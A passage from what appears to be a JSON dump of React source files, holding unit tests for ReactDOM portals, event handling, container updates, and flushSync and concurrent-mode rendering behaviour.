{...expectHTML}>\n        <p {...expectHTML} />\n        {usePortal(\n          <svg {...expectSVG}>\n            <image {...expectSVG} />\n          </svg>,\n        )}\n        <p {...expectHTML} />\n      </div>,\n    );\n  });\n\n  it('should keep track of namespace across portals (medium)', async () => {\n    await assertNamespacesMatch(\n      <svg {...expectSVG}>\n        <image {...expectSVG} />\n        {usePortal(<div {...expectHTML} />)}\n        <image {...expectSVG} />\n        {usePortal(<div {...expectHTML} />)}\n        <image {...expectSVG} />\n      </svg>,\n    );\n    await assertNamespacesMatch(\n      <div {...expectHTML}>\n        <math {...expectMath}>\n          <mi {...expectMath} />\n          {usePortal(\n            <svg {...expectSVG}>\n              <image {...expectSVG} />\n            </svg>,\n          )}\n        </math>\n        <p {...expectHTML} />\n      </div>,\n    );\n    await assertNamespacesMatch(\n      <math {...expectMath}>\n        <mi {...expectMath} />\n        {usePortal(\n          <svg {...expectSVG}>\n            <image {...expectSVG} />\n            <foreignObject {...expectSVG}>\n              <p {...expectHTML} />\n              <math {...expectMath}>\n                <mi {...expectMath} />\n              </math>\n              <p {...expectHTML} />\n            </foreignObject>\n            <image {...expectSVG} />\n          </svg>,\n        )}\n        <mi {...expectMath} />\n      </math>,\n    );\n    await assertNamespacesMatch(\n      <div {...expectHTML}>\n        {usePortal(\n          <svg {...expectSVG}>\n            {usePortal(<div {...expectHTML} />)}\n            <image {...expectSVG} />\n          </svg>,\n        )}\n        <p {...expectHTML} />\n      </div>,\n    );\n    await assertNamespacesMatch(\n      <svg {...expectSVG}>\n        <svg {...expectSVG}>\n          {usePortal(<div {...expectHTML} />)}\n          <image {...expectSVG} />\n        </svg>\n        <image {...expectSVG} />\n      </svg>,\n    );\n  });\n\n  it('should keep track of namespace across portals (complex)', async () => {\n    await assertNamespacesMatch(\n      <div {...expectHTML}>\n        {usePortal(\n          <svg {...expectSVG}>\n            <image {...expectSVG} />\n          </svg>,\n        )}\n        <p {...expectHTML} />\n        <svg {...expectSVG}>\n          <image {...expectSVG} />\n        </svg>\n        <svg {...expectSVG}>\n          <svg {...expectSVG}>\n            <image {...expectSVG} />\n          </svg>\n          <image {...expectSVG} />\n        </svg>\n        <p {...expectHTML} />\n      </div>,\n    );\n    await assertNamespacesMatch(\n      <div {...expectHTML}>\n        <svg {...expectSVG}>\n          <svg {...expectSVG}>\n            <image {...expectSVG} />\n            {usePortal(\n              <svg {...expectSVG}>\n                <image {...expectSVG} />\n                <svg {...expectSVG}>\n                  <image {...expectSVG} />\n                </svg>\n                <image {...expectSVG} />\n              </svg>,\n            )}\n            <image {...expectSVG} />\n            <foreignObject {...expectSVG}>\n              <p {...expectHTML} />\n              {usePortal(<p {...expectHTML} />)}\n              <p {...expectHTML} />\n            </foreignObject>\n          </svg>\n          <image {...expectSVG} />\n        </svg>\n        <p {...expectHTML} />\n      </div>,\n    );\n    await assertNamespacesMatch(\n      <div {...expectHTML}>\n        <svg {...expectSVG}>\n          <foreignObject {...expectSVG}>\n            <p {...expectHTML} />\n            {usePortal(\n              <svg {...expectSVG}>\n                <image {...expectSVG} />\n                <svg {...expectSVG}>\n                  <image {...expectSVG} />\n                  <foreignObject {...expectSVG}>\n                    <p {...expectHTML} />\n                  </foreignObject>\n                  {usePortal(<p {...expectHTML} />)}\n                </svg>\n                <image {...expectSVG} />\n              </svg>,\n            )}\n            <p {...expectHTML} />\n          </foreignObject>\n          <image {...expectSVG} />\n        </svg>\n        <p {...expectHTML} />\n      </div>,\n    );\n  });\n\n  it('should unwind namespaces on uncaught errors', async () => {\n    function BrokenRender() {\n      throw new Error('Hello');\n    }\n\n    await expect(async () => {\n      await assertNamespacesMatch(\n        <svg {...expectSVG}>\n          <BrokenRender />\n        </svg>,\n      );\n    }).rejects.toThrow('Hello');\n    await assertNamespacesMatch(<div {...expectHTML} />);\n  });\n\n  it('should unwind namespaces on caught errors', async () => {\n    function BrokenRender() {\n      throw new Error('Hello');\n    }\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          return <p {...expectHTML} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    await assertNamespacesMatch(\n      <svg {...expectSVG}>\n        <foreignObject {...expectSVG}>\n          <ErrorBoundary>\n            <math {...expectMath}>\n              <BrokenRender />\n            </math>\n          </ErrorBoundary>\n        </foreignObject>\n        <image {...expectSVG} />\n      </svg>,\n    );\n    await assertNamespacesMatch(<div {...expectHTML} />);\n  });\n\n  it('should unwind namespaces on caught errors in a portal', async () => {\n    function BrokenRender() {\n      throw new Error('Hello');\n    }\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          return <image {...expectSVG} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    await assertNamespacesMatch(\n      <svg {...expectSVG}>\n        <ErrorBoundary>\n          {usePortal(\n            <div {...expectHTML}>\n              <math {...expectMath}>\n                <BrokenRender />)\n              </math>\n            </div>,\n          )}\n        </ErrorBoundary>\n        {usePortal(<div {...expectHTML} />)}\n      </svg>,\n    );\n  });\n\n  // @gate !disableLegacyContext\n  it('should pass portal context when rendering subtree elsewhere', async () => {\n    const portalContainer = document.createElement('div');\n\n    class Component extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string.isRequired,\n      };\n\n      render() {\n        return <div>{this.context.foo}</div>;\n      }\n    }\n\n    class Parent extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string.isRequired,\n      };\n\n      getChildContext() {\n        return {\n          foo: 'bar',\n        };\n      }\n\n      render() {\n        return ReactDOM.createPortal(<Component />, portalContainer);\n      }\n    }\n\n    await act(async () => {\n      root.render(<Parent />);\n    });\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n      'Component uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n    ]);\n    expect(container.innerHTML).toBe('');\n    expect(portalContainer.innerHTML).toBe('<div>bar</div>');\n  });\n\n  it('should bubble events from the portal to the parent', async () => {\n    const portalContainer = document.createElement('div');\n    document.body.appendChild(portalContainer);\n    try {\n      let portal = null;\n\n      await act(() => {\n        root.render(\n          <div onClick={() => Scheduler.log('parent clicked')}>\n            {ReactDOM.createPortal(\n              <div\n                onClick={() => Scheduler.log('portal clicked')}\n                ref={n => (portal = n)}>\n                portal\n              </div>,\n              portalContainer,\n            )}\n          </div>,\n        );\n      });\n\n      expect(portal.tagName).toBe('DIV');\n\n      await act(() => {\n        portal.click();\n      });\n\n      assertLog(['portal clicked', 'parent clicked']);\n    } finally {\n      document.body.removeChild(portalContainer);\n    }\n  });\n\n  it('should not onMouseLeave when staying in the portal', async () => {\n    const portalContainer = document.createElement('div');\n    document.body.appendChild(portalContainer);\n\n    let firstTarget = null;\n    let secondTarget = null;\n    let thirdTarget = null;\n\n    function simulateMouseMove(from, to) {\n      if (from) {\n        from.dispatchEvent(\n          new MouseEvent('mouseout', {\n            bubbles: true,\n            cancelable: true,\n            relatedTarget: to,\n          }),\n        );\n      }\n      if (to) {\n        to.dispatchEvent(\n          new MouseEvent('mouseover', {\n            bubbles: true,\n            cancelable: true,\n            relatedTarget: from,\n          }),\n        );\n      }\n    }\n\n    try {\n      await act(() => {\n        root.render(\n          <div>\n            <div\n              onMouseEnter={() => Scheduler.log('enter parent')}\n              onMouseLeave={() => Scheduler.log('leave parent')}>\n              <div ref={n => (firstTarget = n)} />\n              {ReactDOM.createPortal(\n                <div\n                  onMouseEnter={() => Scheduler.log('enter portal')}\n                  onMouseLeave={() => Scheduler.log('leave portal')}\n                  ref={n => (secondTarget = n)}>\n                  portal\n                </div>,\n                portalContainer,\n              )}\n            </div>\n            <div ref={n => (thirdTarget = n)} />\n          </div>,\n        );\n      });\n      await act(() => {\n        simulateMouseMove(null, firstTarget);\n      });\n      assertLog(['enter parent']);\n\n      await act(() => {\n        simulateMouseMove(firstTarget, secondTarget);\n      });\n      assertLog([\n        // Parent did not invoke leave because we're still inside the portal.\n        'enter portal',\n      ]);\n\n      await act(() => {\n        simulateMouseMove(secondTarget, thirdTarget);\n      });\n      assertLog([\n        'leave portal',\n        'leave parent', // Only when we leave the portal does onMouseLeave fire.\n      ]);\n    } finally {\n      document.body.removeChild(portalContainer);\n    }\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/19562\n  it('does not fire mouseEnter twice when relatedTarget is the root node', async () => {\n    let target = null;\n\n    function simulateMouseMove(from, to) {\n      if (from) {\n        from.dispatchEvent(\n          new MouseEvent('mouseout', {\n            bubbles: true,\n            cancelable: true,\n            relatedTarget: to,\n          }),\n        );\n      }\n      if (to) {\n        to.dispatchEvent(\n          new MouseEvent('mouseover', {\n            bubbles: true,\n            cancelable: true,\n            relatedTarget: from,\n          }),\n        );\n      }\n    }\n\n    await act(() => {\n      root.render(\n        <div\n          ref={n => (target = n)}\n          onMouseEnter={() => Scheduler.log('enter')}\n          onMouseLeave={() => Scheduler.log('leave')}\n        />,\n      );\n    });\n\n    await act(() => {\n      simulateMouseMove(null, container);\n    });\n    assertLog([]);\n\n    await act(() => {\n      simulateMouseMove(container, target);\n    });\n    assertLog(['enter']);\n\n    await act(() => {\n      simulateMouseMove(target, container);\n    });\n    assertLog(['leave']);\n\n    await act(() => {\n      simulateMouseMove(container, null);\n    });\n    assertLog([]);\n  });\n\n  it('listens to events that do not exist in the Portal subtree', async () => {\n    const onClick = jest.fn();\n\n    const ref = React.createRef();\n    await act(() => {\n      root.render(\n        <div onClick={onClick}>\n          {ReactDOM.createPortal(\n            <button ref={ref}>click</button>,\n            document.body,\n          )}\n        </div>,\n      );\n    });\n    const event = new MouseEvent('click', {\n      bubbles: true,\n    });\n    await act(() => {\n      ref.current.dispatchEvent(event);\n    });\n\n    expect(onClick).toHaveBeenCalledTimes(1);\n  });\n\n  it('should throw on bad createPortal argument', () => {\n    expect(() => {\n      ReactDOM.createPortal(<div>portal</div>, null);\n    }).toThrow('Target container is not a DOM element.');\n    expect(() => {\n      ReactDOM.createPortal(<div>portal</div>, document.createTextNode('hi'));\n    }).toThrow('Target container is not a DOM element.');\n  });\n\n  it('should warn for non-functional event listeners', () => {\n    class Example extends React.Component {\n      render() {\n        return <div onClick=\"woops\" />;\n      }\n    }\n    ReactDOM.flushSync(() => {\n      root.render(<Example />);\n    });\n    assertConsoleErrorDev([\n      'Expected `onClick` listener to be a function, instead got a value of `string` type.\\n' +\n        '    in div (at **)\\n' +\n        '    in Example (at **)',\n    ]);\n  });\n\n  it('should warn with a special message for `false` event listeners', () => {\n    class Example extends React.Component {\n      render() {\n        return <div onClick={false} />;\n      }\n    }\n    ReactDOM.flushSync(() => {\n      root.render(<Example />);\n    });\n    assertConsoleErrorDev([\n      'Expected `onClick` listener to be a function, instead got `false`.\\n\\n' +\n        'If you used to conditionally omit it with onClick={condition && value}, ' +\n        'pass onClick={condition ? value : undefined} instead.\\n' +\n        '    in div (at **)\\n' +\n        '    in Example (at **)',\n    ]);\n  });\n\n  it('should not update event handlers until commit', async () => {\n    const handlerA = () => Scheduler.log('A');\n    const handlerB = () => Scheduler.log('B');\n\n    function click() {\n      const event = new MouseEvent('click', {\n        bubbles: true,\n        cancelable: true,\n      });\n      Object.defineProperty(event, 'timeStamp', {\n        value: 0,\n      });\n      node.dispatchEvent(event);\n    }\n\n    class Example extends React.Component {\n      state = {flip: false, count: 0};\n      flip() {\n        this.setState({flip: true, count: this.state.count + 1});\n      }\n      tick() {\n        this.setState({count: this.state.count + 1});\n      }\n      render() {\n        const useB = !this.props.forceA && this.state.flip;\n        return <div onClick={useB ? handlerB : handlerA} />;\n      }\n    }\n\n    class Click extends React.Component {\n      constructor() {\n        super();\n        node.click();\n      }\n      render() {\n        return null;\n      }\n    }\n\n    let inst;\n    await act(() => {\n      root.render([<Example key=\"a\" ref={n => (inst = n)} />]);\n    });\n    const node = container.firstChild;\n    expect(node.tagName).toEqual('DIV');\n\n    await act(() => {\n      click();\n    });\n\n    assertLog(['A']);\n\n    // Render with the other event handler.\n    await act(() => {\n      inst.flip();\n    });\n\n    await act(() => {\n      click();\n    });\n\n    assertLog(['B']);\n\n    // Rerender without changing any props.\n    await act(() => {\n      inst.tick();\n    });\n\n    await act(() => {\n      click();\n    });\n\n    assertLog(['B']);\n\n    // Render a flip back to the A handler. The second component invokes the\n    // click handler during render to simulate a click during an aborted\n    // render. I use this hack because at current time we don't have a way to\n    // test aborted ReactDOM renders.\n    await act(() => {\n      root.render([<Example key=\"a\" forceA={true} />, <Click key=\"b\" />]);\n    });\n\n    // Because the new click handler has not yet committed, we should still\n    // invoke B.\n    assertLog(['B']);\n\n    // Any click that happens after commit, should invoke A.\n    await act(() => {\n      click();\n    });\n    assertLog(['A']);\n  });\n\n  it('should not crash encountering low-priority tree', async () => {\n    await act(() => {\n      root.render(\n        <div hidden={true}>\n          <div />\n        </div>,\n      );\n    });\n\n    expect(container.innerHTML).toBe('<div hidden=\"\"><div></div></div>');\n  });\n\n  it('should not warn when rendering into an empty container', async () => {\n    await act(() => {\n      root.render(<div>foo</div>);\n    });\n    expect(container.innerHTML).toBe('<div>foo</div>');\n    await act(() => {\n      root.render(null);\n    });\n    expect(container.innerHTML).toBe('');\n    await act(() => {\n      root.render(<div>bar</div>);\n    });\n    expect(container.innerHTML).toBe('<div>bar</div>');\n  });\n\n  it('should warn when replacing a container which was manually updated outside of React', async () => {\n    // when not messing with the DOM outside of React\n    await act(() => {\n      root.render(<div key=\"1\">foo</div>);\n    });\n    expect(container.innerHTML).toBe('<div>foo</div>');\n\n    await act(() => {\n      root.render(<div key=\"1\">bar</div>);\n    });\n    expect(container.innerHTML).toBe('<div>bar</div>');\n\n    // then we mess with the DOM before an update\n    // we know this will error - that is expected right now\n    // It's an error of type 'NotFoundError' with no message\n    container.innerHTML = '<div>MEOW.</div>';\n\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.flushSync(() => {\n          root.render(<div key=\"2\">baz</div>);\n        });\n      });\n    }).rejects.toThrow('The node to be removed is not a child of this node');\n  });\n\n  it('should not warn when doing an update to a container manually updated outside of React', async () => {\n    // when not messing with the DOM outside of React\n    await act(() => {\n      root.render(<div>foo</div>);\n    });\n    expect(container.innerHTML).toBe('<div>foo</div>');\n\n    await act(() => {\n      root.render(<div>bar</div>);\n    });\n    expect(container.innerHTML).toBe('<div>bar</div>');\n\n    // then we mess with the DOM before an update\n    container.innerHTML = '<div>MEOW.</div>';\n\n    await act(() => {\n      root.render(<div>baz</div>);\n    });\n    // TODO: why not, and no error?\n    expect(container.innerHTML).toBe('<div>MEOW.</div>');\n  });\n\n  it('should not warn when doing an update to a container manually cleared outside of React', async () => {\n    // when not messing with the DOM outside of React\n    await act(() => {\n      root.render(<div>foo</div>);\n    });\n    expect(container.innerHTML).toBe('<div>foo</div>');\n\n    await act(() => {\n      root.render(<div>bar</div>);\n    });\n    expect(container.innerHTML).toBe('<div>bar</div>');\n\n    // then we mess with the DOM before an update\n    container.innerHTML = '';\n\n    await act(() => {\n      root.render(<div>baz</div>);\n    });\n    // TODO: why not, and no error?\n    expect(container.innerHTML).toBe('');\n  });\n\n  it('should render a text component with a text DOM node on the same document as the container', async () => {\n    // 1. Create a new document through the use of iframe\n    // 2. Set up the spy to make asserts when a text component\n    //    is rendered inside the iframe container\n    const textContent = 'Hello world';\n    const iframe = document.createElement('iframe');\n    document.body.appendChild(iframe);\n    const iframeDocument = iframe.contentDocument;\n    iframeDocument.write(\n      '<!DOCTYPE html><html><head></head><body><div></div></body></html>',\n    );\n    iframeDocument.close();\n    const iframeContainer = iframeDocument.body.firstChild;\n\n    let actualDocument;\n    let textNode;\n\n    spyOnDevAndProd(iframeContainer, 'appendChild').mockImplementation(node => {\n      actualDocument = node.ownerDocument;\n      textNode = node;\n    });\n\n    const iFrameRoot = ReactDOMClient.createRoot(iframeContainer);\n    await act(() => {\n      iFrameRoot.render(textContent);\n    });\n\n    expect(textNode.textContent).toBe(textContent);\n    expect(actualDocument).not.toBe(document);\n    expect(actualDocument).toBe(iframeDocument);\n    expect(iframeContainer.appendChild).toHaveBeenCalledTimes(1);\n  });\n\n  it('should mount into a document fragment', async () => {\n    const fragment = document.createDocumentFragment();\n    const fragmentRoot = ReactDOMClient.createRoot(fragment);\n    await act(() => {\n      fragmentRoot.render(<div>foo</div>);\n    });\n    expect(container.innerHTML).toBe('');\n    container.appendChild(fragment);\n    expect(container.innerHTML).toBe('<div>foo</div>');\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/12643#issuecomment-413727104\n  it('should not diff memoized host components', async () => {\n    const inputRef = React.createRef();\n    let didCallOnChange = false;\n\n    class Child extends React.Component {\n      state = {};\n      componentDidMount() {\n        document.addEventListener('click', this.update, true);\n      }\n      componentWillUnmount() {\n        document.removeEventListener('click', this.update, true);\n      }\n      update = () => {\n        // We're testing that this setState()\n        // doesn't cause React to commit updates\n        // to the input outside (which would itself\n        // prevent the parent's onChange parent handler\n        // from firing).\n        this.setState({});\n        // Note that onChange was always broken when there was an\n        // earlier setState() in a manual document capture phase\n        // listener *in the same component*. But that's very rare.\n        // Here we're testing that a *child* component doesn't break\n        // the parent if this happens.\n      };\n      render() {\n        return <div />;\n      }\n    }\n\n    class Parent extends React.Component {\n      handleChange = val => {\n        didCallOnChange = true;\n      };\n      render() {\n        return (\n          <div>\n            <Child />\n            <input\n              ref={inputRef}\n              type=\"checkbox\"\n              checked={true}\n              onChange={this.handleChange}\n            />\n          </div>\n        );\n      }\n    }\n\n    await act(() => {\n      root.render(<Parent />);\n    });\n    await act(() => {\n      inputRef.current.dispatchEvent(\n        new MouseEvent('click', {\n          bubbles: true,\n        }),\n      );\n    });\n    expect(didCallOnChange).toBe(true);\n  });\n\n  it('should restore selection in the correct window', async () => {\n    // creating new JSDOM instance to get a second window as window.open is not implemented\n    // https://github.com/jsdom/jsdom/blob/c53efc81e75f38a0558fbf3ed75d30b78b4c4898/lib/jsdom/browser/Window.js#L987\n    const {window: newWindow} = new JSDOM('');\n    // creating a new container since the default cleanup expects the existing container to be in the document\n    const newContainer = newWindow.document.createElement('div');\n    newWindow.document.body.appendChild(newContainer);\n    root = ReactDOMClient.createRoot(newContainer);\n\n    const Test = () => {\n      const [reverse, setReverse] = React.useState(false);\n      const [items] = React.useState(() => ['a', 'b', 'c']);\n      const onClick = () => {\n        setReverse(true);\n      };\n\n      // shuffle the items so that the react commit needs to restore focus\n      // to the correct element after commit\n      const itemsToRender = reverse ? items.reverse() : items;\n\n      return (\n        <div>\n          {itemsToRender.map(item => (\n            <button onClick={onClick} key={item} id={item}>\n              {item}\n            </button>\n          ))}\n        </div>\n      );\n    };\n\n    await act(() => {\n      root.render(<Test />);\n    });\n\n    newWindow.document.getElementById('a').focus();\n    await act(() => {\n      newWindow.document.getElementById('a').click();\n    });\n\n    expect(newWindow.document.activeElement).not.toBe(newWindow.document.body);\n    expect(newWindow.document.activeElement.innerHTML).toBe('a');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFiberAsync-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\n\nlet ReactDOM;\nlet ReactDOMClient;\nlet Scheduler;\nlet act;\nlet waitForAll;\nlet waitFor;\nlet waitForMicrotasks;\nlet assertLog;\nlet assertConsoleErrorDev;\n\nconst setUntrackedInputValue = Object.getOwnPropertyDescriptor(\n  HTMLInputElement.prototype,\n  'value',\n).set;\n\ndescribe('ReactDOMFiberAsync', () => {\n  let container;\n\n  beforeEach(() => {\n    container = document.createElement('div');\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    waitForMicrotasks = InternalTestUtils.waitForMicrotasks;\n    assertLog = InternalTestUtils.assertLog;\n\n    document.body.appendChild(container);\n    window.event = undefined;\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  // @gate !disableLegacyMode\n  it('renders synchronously by default in legacy mode', () => {\n    const ops = [];\n    ReactDOM.render(<div>Hi</div>, container, () => {\n      ops.push(container.textContent);\n    });\n    ReactDOM.render(<div>Bye</div>, container, () => {\n      ops.push(container.textContent);\n    });\n    expect(ops).toEqual(['Hi', 'Bye']);\n  });\n\n  it('flushSync batches sync updates and flushes them at the end of the batch', async () => {\n    const ops = [];\n    let instance;\n\n    class Component extends React.Component {\n      state = {text: ''};\n      componentDidMount() {\n        instance = this;\n      }\n\n      push(val) {\n        this.setState(state => ({text: state.text + val}));\n      }\n      componentDidUpdate() {\n        ops.push(this.state.text);\n      }\n      render() {\n        instance = this;\n        return <span>{this.state.text}</span>;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<Component />));\n\n    await act(() => {\n      instance.push('A');\n    });\n\n    expect(ops).toEqual(['A']);\n    expect(container.textContent).toEqual('A');\n\n    ReactDOM.flushSync(() => {\n      instance.push('B');\n      instance.push('C');\n      // Not flushed yet\n      expect(container.textContent).toEqual('A');\n      expect(ops).toEqual(['A']);\n    });\n\n    expect(container.textContent).toEqual('ABC');\n    expect(ops).toEqual(['A', 'ABC']);\n    await act(() => {\n      instance.push('D');\n    });\n    expect(container.textContent).toEqual('ABCD');\n    expect(ops).toEqual(['A', 'ABC', 'ABCD']);\n  });\n\n  it('flushSync flushes updates even if nested inside another flushSync', async () => {\n    const ops = [];\n    let instance;\n\n    class Component extends React.Component {\n      state = {text: ''};\n      componentDidMount() {\n        instance = this;\n      }\n\n      push(val) {\n        this.setState(state => ({text: state.text + val}));\n      }\n      componentDidUpdate() {\n        ops.push(this.state.text);\n      }\n      render() {\n        instance = this;\n        return <span>{this.state.text}</span>;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<Component />));\n\n    await act(() => {\n      instance.push('A');\n    });\n    expect(ops).toEqual(['A']);\n    expect(container.textContent).toEqual('A');\n\n    ReactDOM.flushSync(() => {\n      instance.push('B');\n      instance.push('C');\n      // Not flushed yet\n      expect(container.textContent).toEqual('A');\n      expect(ops).toEqual(['A']);\n\n      ReactDOM.flushSync(() => {\n        instance.push('D');\n      });\n      // The nested flushSync caused everything to flush.\n      expect(container.textContent).toEqual('ABCD');\n      expect(ops).toEqual(['A', 'ABCD']);\n    });\n    expect(container.textContent).toEqual('ABCD');\n    expect(ops).toEqual(['A', 'ABCD']);\n  });\n\n  it('flushSync logs an error if already performing work', async () => {\n    class Component extends React.Component {\n      componentDidUpdate() {\n        ReactDOM.flushSync();\n      }\n      render() {\n        return null;\n      }\n    }\n\n    // Initial mount\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n    // Update\n    ReactDOM.flushSync(() => {\n      root.render(<Component />);\n    });\n    assertConsoleErrorDev([\n      'flushSync was called from inside a lifecycle method. ' +\n        'React cannot flush when React is already rendering. ' +\n        'Consider moving this call to a scheduler task or micro task.\\n' +\n        '    in Component (at **)',\n    ]);\n  });\n\n  describe('concurrent mode', () => {\n    it('does not perform deferred updates synchronously', async () => {\n      const inputRef = React.createRef();\n      const asyncValueRef = React.createRef();\n      const syncValueRef = React.createRef();\n\n      class Counter extends React.Component {\n        state = {asyncValue: '', syncValue: ''};\n\n        handleChange = e => {\n          const nextValue = e.target.value;\n          React.startTransition(() => {\n            this.setState({\n              asyncValue: nextValue,\n            });\n            // It should not be flushed yet.\n            expect(asyncValueRef.current.textContent).toBe('');\n          });\n          this.setState({\n            syncValue: nextValue,\n          });\n        };\n\n        render() {\n          return (\n            <div>\n              <input\n                ref={inputRef}\n                onChange={this.handleChange}\n                defaultValue=\"\"\n              />\n              <p ref={asyncValueRef}>{this.state.asyncValue}</p>\n              <p ref={syncValueRef}>{this.state.syncValue}</p>\n            </div>\n          );\n        }\n      }\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => root.render(<Counter />));\n      expect(asyncValueRef.current.textContent).toBe('');\n      expect(syncValueRef.current.textContent).toBe('');\n\n      await act(() => {\n        setUntrackedInputValue.call(inputRef.current, 'hello');\n        inputRef.current.dispatchEvent(\n          new MouseEvent('input', {bubbles: true}),\n        );\n        // Should only flush non-deferred update.\n        expect(asyncValueRef.current.textContent).toBe('');\n        expect(syncValueRef.current.textContent).toBe('hello');\n      });\n\n      // Should flush both updates now.\n      expect(asyncValueRef.current.textContent).toBe('hello');\n      expect(syncValueRef.current.textContent).toBe('hello');\n    });\n\n    it('top-level updates are concurrent', async () => {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div>Hi</div>);\n        expect(container.textContent).toEqual('');\n      });\n      expect(container.textContent).toEqual('Hi');\n\n      await act(() => {\n        root.render(<div>Bye</div>);\n        expect(container.textContent).toEqual('Hi');\n      });\n      expect(container.textContent).toEqual('Bye');\n    });\n\n    it('deep updates (setState) are concurrent', async () => {\n      let instance;\n      class Component extends React.Component {\n        state = {step: 0};\n        render() {\n          instance = this;\n          return <div>{this.state.step}</div>;\n        }\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<Component />);\n        expect(container.textContent).toEqual('');\n      });\n      expect(container.textContent).toEqual('0');\n\n      await act(() => {\n        instance.setState({step: 1});\n        expect(container.textContent).toEqual('0');\n      });\n      expect(container.textContent).toEqual('1');\n    });\n\n    it('flushSync flushes updates before end of the tick', async () => {\n      let instance;\n\n      class Component extends React.Component {\n        state = {text: ''};\n        push(val) {\n          this.setState(state => ({text: state.text + val}));\n        }\n        componentDidUpdate() {\n          Scheduler.log(this.state.text);\n        }\n        render() {\n          instance = this;\n          return <span>{this.state.text}</span>;\n        }\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => root.render(<Component />));\n\n      // Updates are async by default\n      instance.push('A');\n      assertLog([]);\n      expect(container.textContent).toEqual('');\n\n      ReactDOM.flushSync(() => {\n        instance.push('B');\n        instance.push('C');\n        // Not flushed yet\n        expect(container.textContent).toEqual('');\n        assertLog([]);\n      });\n      // Only the active updates have flushed\n      expect(container.textContent).toEqual('ABC');\n      assertLog(['ABC']);\n\n      await act(() => {\n        instance.push('D');\n        expect(container.textContent).toEqual('ABC');\n        assertLog([]);\n      });\n      assertLog(['ABCD']);\n      expect(container.textContent).toEqual('ABCD');\n    });\n\n    it('ignores discrete events on a pending removed element', async () => {\n      const disableButtonRef = React.createRef();\n      const submitButtonRef = React.createRef();\n\n      function Form() {\n        const [active, setActive] = React.useState(true);\n        function disableForm() {\n          setActive(false);\n        }\n\n        return (\n          <div>\n            <button onClick={disableForm} ref={disableButtonRef}>\n              Disable\n            </button>\n            {active ? <button ref={submitButtonRef}>Submit</button> : null}\n          </div>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Form />);\n      });\n\n      const disableButton = disableButtonRef.current;\n      expect(disableButton.tagName).toBe('BUTTON');\n\n      const submitButton = submitButtonRef.current;\n      expect(submitButton.tagName).toBe('BUTTON');\n\n      // Dispatch a click event on the Disable-button.\n      const firstEvent = document.createEvent('Event');\n      firstEvent.initEvent('click', true, true);\n      disableButton.dispatchEvent(firstEvent);\n\n      // The click event is flushed synchronously, even in concurrent mode.\n      expect(submitButton.current).toBe(undefined);\n    });\n\n    it('ignores discrete events on a pending removed event listener', async () => {\n      const disableButtonRef = React.createRef();\n      const submitButtonRef = React.createRef();\n\n      let formSubmitted = false;\n\n      function Form() {\n        const [active, setActive] = React.useState(true);\n        function disableForm() {\n          setActive(false);\n        }\n        function submitForm() {\n          formSubmitted = true; // This should not get invoked\n        }\n        function disabledSubmitForm() {\n          // The form is disabled.\n        }\n        return (\n          <div>\n            <button onClick={disableForm} ref={disableButtonRef}>\n              Disable\n            </button>\n            <button\n              onClick={active ? submitForm : disabledSubmitForm}\n              ref={submitButtonRef}>\n              Submit\n            </button>\n          </div>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Form />);\n      });\n\n      const disableButton = disableButtonRef.current;\n      expect(disableButton.tagName).toBe('BUTTON');\n\n      // Dispatch a click event on the Disable-button.\n      const firstEvent = document.createEvent('Event');\n      firstEvent.initEvent('click', true, true);\n      await act(() => {\n        disableButton.dispatchEvent(firstEvent);\n      });\n\n      // There should now be a pending update to disable the form.\n\n      // This should not have flushed yet since it's in concurrent mode.\n      const submitButton = submitButtonRef.current;\n      expect(submitButton.tagName).toBe('BUTTON');\n\n      // In the meantime, we can dispatch a new client event on the submit button.\n      const secondEvent = document.createEvent('Event');\n      secondEvent.initEvent('click', true, true);\n      // This should force the pending update to flush which disables the submit button before the event is invoked.\n      await act(() => {\n        submitButton.dispatchEvent(secondEvent);\n      });\n\n      // Therefore the form should never have been submitted.\n      expect(formSubmitted).toBe(false);\n    });\n\n    it('uses the newest discrete events on a pending changed event listener', async () => {\n      const enableButtonRef = React.createRef();\n      const submitButtonRef = React.createRef();\n\n      let formSubmitted = false;\n\n      function Form() {\n        const [active, setActive] = React.useState(false);\n        function enableForm() {\n          setActive(true);\n        }\n        function submitForm() {\n          formSubmitted = true; // This 